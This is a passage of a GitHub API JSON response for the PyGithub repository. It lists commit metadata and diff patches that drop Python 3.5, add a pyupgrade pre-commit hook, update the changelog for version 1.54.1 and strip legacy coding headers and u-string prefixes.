epos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"951fcdf23f8c657b525dee78086bc4dfd42ef810","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/951fcdf23f8c657b525dee78086bc4dfd42ef810","html_url":"https://github.com/PyGithub/PyGithub/commit/951fcdf23f8c657b525dee78086bc4dfd42ef810"},{"sha":"fab682a5ccfc275c31ec37f1f541254c7bd780f3","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/fab682a5ccfc275c31ec37f1f541254c7bd780f3","html_url":"https://github.com/PyGithub/PyGithub/commit/fab682a5ccfc275c31ec37f1f541254c7bd780f3"}]},{"sha":"a806b5233f6423e0f8dacc4d04b6d81a72689bed","node_id":"MDY6Q29tbWl0MzU0NDQ5MDphODA2YjUyMzNmNjQyM2UwZjhkYWNjNGQwNGI2ZDgxYTcyNjg5YmVk","commit":{"author":{"name":"Sébastien Besson","email":"seb.besson@gmail.com","date":"2020-11-30T23:17:18Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2020-11-30T23:17:18Z"},"message":"Revert \"Pin requests to <2.25 as well (#1757)\" (#1763)\n\n* Revert \"Pin requests to <2.25 as well (#1757)\"\r\n* Ensure httpretty is more recent than 1.0.3\r\n\r\nThis reverts commit d159425f36dc7f68766cc980e262e9287e5f111c.","tree":{"sha":"b33c2872fb923bf90b2a594aa3cd5b1898d1fc65","url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/b33c2872fb923bf90b2a594aa3cd5b1898d1fc65"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/a806b5233f6423e0f8dacc4d04b6d81a72689bed","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\nwsBcBAABCAAQBQJfxX1+CRBK7hj4Ov3rIwAAdHIIAAqZsjeHvnQx2UVmlIqZaucp\naHuoyFp/5P+fgz/oKRnsINmmUcBdcjyLv0qXmgda3g87X9sx7fJh7DDK7MTlw5Ka\n07T/pY8+spaZfm7mVCVp7bh7741AE0tx/Gi2MhI6LPtFMHyCmy9ljeWCrMBvtPDc\naggmA8iGbp8XJ6ln++w2EATwyY9bxelWNgy0cwM7R1Eas/5NtVInETcCf+i9cJ3u\n5ONRvnV9oWFnd3LLD2lxJb2A2STX/IZ4WmXrFj6cb8bWwXJPfvlyK9f97H65+2/k\nRefP5cIfgdRGbd7Le71A90q3PFOpvzTMS+YGrF+l4H1OZ+t3AnqL/H2GzXHFYWY=\n=Dqlm\n-----END PGP SIGNATURE-----\n","payload":"tree b33c2872fb923bf90b2a594aa3cd5b1898d1fc65\nparent 9ee3afb1716c559a0b3b44e097c05f4b14ae2ab8\nauthor Sébastien Besson 1606778238 +0000\ncommitter GitHub 1606778238 +1100\n\nRevert \"Pin requests to <2.25 as well (#1757)\" (#1763)\n\n* Revert \"Pin requests to <2.25 as well (#1757)\"\r\n* Ensure httpretty is more recent than 1.0.3\r\n\r\nThis reverts commit d159425f36dc7f68766cc980e262e9287e5f111c."}},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/a806b5233f6423e0f8dacc4d04b6d81a72689bed","html_url":"https://github.com/PyGithub/PyGithub/commit/a806b5233f6423e0f8dacc4d04b6d81a72689bed","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/commits/a806b5233f6423e0f8dacc4d04b6d81a72689bed/comments","author":{"login":"sbesson","id":1355463,"node_id":"MDQ6VXNlcjEzNTU0NjM=","avatar_url":"https://avatars.githubusercontent.com/u/1355463?v=4","gravatar_id":"","url":"https://api.github.com/users/sbesson","html_url":"https://github.com/sbesson","followers_url":"https://api.github.com/users/sbesson/followers","following_url":"https://api.github.com/users/sbesson/following{/other_user}","gists_url":"https://api.github.com/users/sbesson/gists{/gist_id}","starred_url":"https://api.github.com/users/sbesson/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sbesson/subscriptions","organizations_url":"https://api.github.com/users/sbesson/orgs","repos_url":"https://api.github.com/users/sbesson/repos","events_url":"https://api.github.com/users/sbesson/events{/privacy}","received_events_url":"https://api.github.com/users/sbesson/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"9ee3afb1716c559a0b3b44e097c05f4b14ae2ab8","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/9ee3afb1716c559a0b3b44e097c05f4b14ae2ab8","html_url":"https://github.com/PyGithub/PyGithub/commit/9ee3afb1716c559a0b3b44e097c05f4b14ae2ab8"}]},{"sha":"63e4fae997a9a5dc8c2b56907c87c565537bb28f","node_id":"MDY6Q29tbWl0MzU0NDQ5MDo2M2U0ZmFlOTk3YTlhNWRjOGMyYjU2OTA3Yzg3YzU2NTUzN2JiMjhm","commit":{"author":{"name":"Steve Kowalik","email":"steven@wedontsleep.org","date":"2020-12-02T03:47:45Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2020-12-02T03:47:45Z"},"message":"Drop support for Python 3.5 (#1770)\n\nIn preperation for starting to use 3.6+ only features, stop testing\r\nPython 3.5 in our CI, and bump our minimum required version.","tree":{"sha":"fde51c1aa322cbdd646e1677d1e69fb9d0457ae7","url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/fde51c1aa322cbdd646e1677d1e69fb9d0457ae7"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/63e4fae997a9a5dc8c2b56907c87c565537bb28f","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\nwsBcBAABCAAQBQJfxw5hCRBK7hj4Ov3rIwAAdHIIADWSUehbe2GbpLdhBVQY2SZ2\nAm1ACkzu6AMNG2AfrSVrd2e8mnOUt/BEIIGT+MHxKLTbApDuEo5m7DnIs/zJJUDw\n67eDlQySTP72UHMnZNukELGffNdhQDuZh9K6SeAn/C+qS/UwrTpUo/Zk6u9joVkm\nxbgMGutpg/gi+NYDaPxwHvqlXrFyB2zLrnF/jsRIYNqvJ1XPmgPSHZ2s54ivGLep\npKqGvyA92knGAnL8PZpy6d7pbyx8DWAgGokpP3Bgm3W8YuFNPX/25d81V5RTwUHs\n4pGREUyooUHz2yjARTTwvGWXH+1KwwmRCfGkSPmNMzJYoJkeGkgNAPRLHEbgdhk=\n=n01c\n-----END PGP SIGNATURE-----\n","payload":"tree fde51c1aa322cbdd646e1677d1e69fb9d0457ae7\nparent a806b5233f6423e0f8dacc4d04b6d81a72689bed\nauthor Steve Kowalik 1606880865 +1100\ncommitter GitHub 1606880865 +1100\n\nDrop support for Python 3.5 (#1770)\n\nIn preperation for starting to use 3.6+ only features, stop testing\r\nPython 3.5 in our CI, and bump our minimum required version."}},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/63e4fae997a9a5dc8c2b56907c87c565537bb28f","html_url":"https://github.com/PyGithub/PyGithub/commit/63e4fae997a9a5dc8c2b56907c87c565537bb28f","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/commits/63e4fae997a9a5dc8c2b56907c87c565537bb28f/comments","author":{"login":"s-t-e-v-e-n-k","id":15225059,"node_id":"MDQ6VXNlcjE1MjI1MDU5","avatar_url":"https://avatars.githubusercontent.com/u/15225059?v=4","gravatar_id":"","url":"https://api.github.com/users/s-t-e-v-e-n-k","html_url":"https://github.com/s-t-e-v-e-n-k","followers_url":"https://api.github.com/users/s-t-e-v-e-n-k/followers","following_url":"https://api.github.com/users/s-t-e-v-e-n-k/following{/other_user}","gists_url":"https://api.github.com/users/s-t-e-v-e-n-k/gists{/gist_id}","starred_url":"https://api.github.com/users/s-t-e-v-e-n-k/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/s-t-e-v-e-n-k/subscriptions","organizations_url":"https://api.github.com/users/s-t-e-v-e-n-k/orgs","repos_url":"https://api.github.com/users/s-t-e-v-e-n-k/repos","events_url":"https://api.github.com/users/s-t-e-v-e-n-k/events{/privacy}","received_events_url":"https://api.github.com/users/s-t-e-v-e-n-k/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"a806b5233f6423e0f8dacc4d04b6d81a72689bed","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/a806b5233f6423e0f8dacc4d04b6d81a72689bed","html_url":"https://github.com/PyGithub/PyGithub/commit/a806b5233f6423e0f8dacc4d04b6d81a72689bed"}]}],"files":[{"sha":"9abd22d1d5f4695912c1853cc8fb19eb15aacddc","filename":".git-blame-ignore-revs","status":"modified","additions":3,"deletions":0,"changes":3,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/.git-blame-ignore-revs","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/.git-blame-ignore-revs","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/.git-blame-ignore-revs?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -6,3 +6,6 @@\n \n # Format with new black\n 07e29fe014b7e214e72b51129fbef55468a7309d\n+\n+# Add pyupgrade to pre-commit\n+e113e37de1ec687c68337d777f3629251b35ab28"},{"sha":"38fe00ef7c4345da1fcd6da1d98cb19be523a7cd","filename":".github/workflows/ci.yml","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/.github%2Fworkflows%2Fci.yml","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/.github%2Fworkflows%2Fci.yml","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/.github%2Fworkflows%2Fci.yml?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -9,7 +9,7 @@ jobs:\n name: test (Python ${{ matrix.python-version }})\n strategy:\n matrix:\n- python-version: [3.5, 3.6, 3.7, 3.8, 3.9]\n+ python-version: [3.6, 3.7, 3.8, 3.9]\n steps:\n - uses: actions/checkout@v2\n - name: Set up Python"},{"sha":"e18dd1f992e60b0460831fdf3d64fe9511cd45dc","filename":".pre-commit-config.yaml","status":"modified","additions":6,"deletions":0,"changes":6,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/.pre-commit-config.yaml","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/.pre-commit-config.yaml","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/.pre-commit-config.yaml?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -24,3 +24,9 @@ repos:\n args:\n - --ignore-words-list=\"bloaded,nto,pullrequest,pullrequests,thi,tim,wan,Wan,chang,Chang\"\n - --quiet-level=2\n+ - repo: https://github.com/asottile/pyupgrade\n+ rev: v2.7.4\n+ hooks:\n+ - id: pyupgrade\n+ args:\n+ - --py36-plus"},{"sha":"43d33319fa66a12c3ecf956884e5a606b0430d6c","filename":"doc/changes.rst","status":"modified","additions":10,"deletions":0,"changes":10,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/doc%2Fchanges.rst","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/doc%2Fchanges.rst","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/doc%2Fchanges.rst?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -4,6 +4,16 @@ Change log\n Stable versions\n ~~~~~~~~~~~~~~~\n \n+Version 1.54.1 (December 24, 2020)\n+-----------------------------------\n+\n+* Pin pyjwt version (#1797) (31a1c007)\n+* Add pyupgrade to pre-commit configuration (#1783) (e113e37d)\n+* Fix #1731: Incorrect annotation (82c349ce)\n+* Drop support for Python 3.5 (#1770) (63e4fae9)\n+* Revert \"Pin requests to <2.25 as well (#1757)\" (#1763) (a806b523)\n+* Fix stubs file for Repository (fab682a5)\n+\n Version 1.54 (November 30, 2020)\n -----------------------------------\n **Important**"},{"sha":"b8187945593d83a2e6003075064f3e7f3f6cdebd","filename":"doc/conf.py","status":"modified","additions":6,"deletions":8,"changes":14,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/doc%2Fconf.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/doc%2Fconf.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/doc%2Fconf.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #\n@@ -61,8 +59,8 @@\n master_doc = \"index\"\n \n # General information about the project.\n-project = u\"PyGithub\"\n-copyright = u\"%d, Vincent Jacques\" % datetime.date.today().year\n+project = \"PyGithub\"\n+copyright = \"%d, Vincent Jacques\" % datetime.date.today().year\n \n # The version info for the project you're documenting, acts as replacement for\n # |version| and |release|, also used in various other places throughout the\n@@ -204,7 +202,7 @@\n # Grouping the document tree into LaTeX files. List of tuples\n # (source start file, target name, title, author, documentclass [howto/manual]).\n latex_documents = [\n- (\"index\", \"PyGithub.tex\", u\"PyGithub Documentation\", u\"Vincent Jacques\", \"manual\"),\n+ (\"index\", \"PyGithub.tex\", \"PyGithub Documentation\", \"Vincent Jacques\", \"manual\"),\n ]\n \n # The name of an image file (relative to this directory) to place at the top of\n@@ -232,7 +230,7 @@\n \n # One entry per manual page. List of tuples\n # (source start file, name, description, authors, manual section).\n-man_pages = [(\"index\", \"pygithub\", u\"PyGithub Documentation\", [u\"Vincent Jacques\"], 1)]\n+man_pages = [(\"index\", \"pygithub\", \"PyGithub Documentation\", [\"Vincent Jacques\"], 1)]\n \n # If true, show URL addresses after external links.\n # man_show_urls = False\n@@ -247,8 +245,8 @@\n (\n \"index\",\n \"PyGithub\",\n- u\"PyGithub Documentation\",\n- u\"Vincent Jacques\",\n+ \"PyGithub Documentation\",\n+ \"Vincent Jacques\",\n \"PyGithub\",\n \"One line description of project.\",\n \"Miscellaneous\","},{"sha":"f2fb64f468b5abcb93635bc849d69092f48a78e3","filename":"github/AccessToken.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FAccessToken.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FAccessToken.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FAccessToken.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2019 Rigas Papathanasopoulos #"},{"sha":"2d1f81d920743a0ba33c078ba430283d5d8b6bc6","filename":"github/ApplicationOAuth.py","status":"modified","additions":1,"deletions":3,"changes":4,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FApplicationOAuth.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FApplicationOAuth.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FApplicationOAuth.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ###########################\n # #\n # Copyright 2019 Rigas Papathanasopoulos #\n@@ -75,7 +73,7 @@ def get_login_url(self, redirect_uri=None, state=None, login=None):\n parameters = urllib.parse.urlencode(parameters)\n \n base_url = \"https://github.com/login/oauth/authorize\"\n- return u\"{}?{}\".format(base_url, parameters)\n+ return f\"{base_url}?{parameters}\"\n \n def get_access_token(self, code, state=None):\n \"\"\""},{"sha":"58a5c5d6e933a4451a4a3f3babb204abb580d0b8","filename":"github/AuthenticatedUser.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FAuthenticatedUser.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FAuthenticatedUser.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FAuthenticatedUser.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Steve English #"},{"sha":"bbddd170d0663ac6a1151b2eb87924f6d531c488","filename":"github/Authorization.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FAuthorization.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FAuthorization.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FAuthorization.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"38dd650943433ed86b42c0674f50b0c0173988d6","filename":"github/AuthorizationApplication.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FAuthorizationApplication.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FAuthorizationApplication.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FAuthorizationApplication.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"f723301c992529f6902bb52d24c8d1d5b8a2c80b","filename":"github/Branch.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FBranch.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FBranch.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FBranch.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"ffc364c8dfa5bc0627194187690e5c48eb4ac65a","filename":"github/BranchProtection.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FBranchProtection.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FBranchProtection.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FBranchProtection.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2018 Steve Kowalik #"},{"sha":"9a895980289ad23c20ee682182d4af108d0ae82a","filename":"github/CheckRun.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FCheckRun.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FCheckRun.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FCheckRun.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2020 Dhruv Manilawala #"},{"sha":"5c7033cda9894b83e696d8e880cde3166c73265a","filename":"github/CheckRunAnnotation.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FCheckRunAnnotation.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FCheckRunAnnotation.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FCheckRunAnnotation.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2020 Dhruv Manilawala #"},{"sha":"3dfc02382ac738303501d2e9806ad2c980b6d0dd","filename":"github/CheckRunOutput.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FCheckRunOutput.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FCheckRunOutput.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FCheckRunOutput.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2020 Dhruv Manilawala #"},{"sha":"d6d67c32f6426c2c786cc5c240a245c65403d246","filename":"github/CheckSuite.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FCheckSuite.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FCheckSuite.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FCheckSuite.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2020 Raju Subramanian #"},{"sha":"bf07b60b83c9fe2a07befe1ba921f6cc58a1cb9c","filename":"github/Clones.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FClones.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FClones.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FClones.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2018 Justin Kufro #"},{"sha":"f951589d35e368580c9e6ca419aafb63dc8c72c6","filename":"github/Commit.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FCommit.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FCommit.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FCommit.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"fb420d868a30436f0953530673e709ba70828325","filename":"github/CommitCombinedStatus.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FCommitCombinedStatus.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FCommitCombinedStatus.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FCommitCombinedStatus.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2016 Jannis Gebauer #"},{"sha":"f5eca565eede61e0d528f4ffbc1693af5eddd67e","filename":"github/CommitComment.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FCommitComment.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FCommitComment.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FCommitComment.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"2a511c8a74a7d664037036ef15d55c0f2a8dd2f4","filename":"github/CommitStats.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FCommitStats.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FCommitStats.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FCommitStats.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"b95b49e461a267862bc3892edc0f53e731d8a5be","filename":"github/CommitStatus.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FCommitStatus.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FCommitStatus.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FCommitStatus.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"f058b7e3892f40a38fe9a38a18bdfa2463ea2f18","filename":"github/Comparison.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FComparison.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FComparison.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FComparison.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"d5cbcb7e21893bd46c1901678a5aa687c51da628","filename":"github/Consts.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FConsts.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FConsts.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FConsts.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2013 AKFish 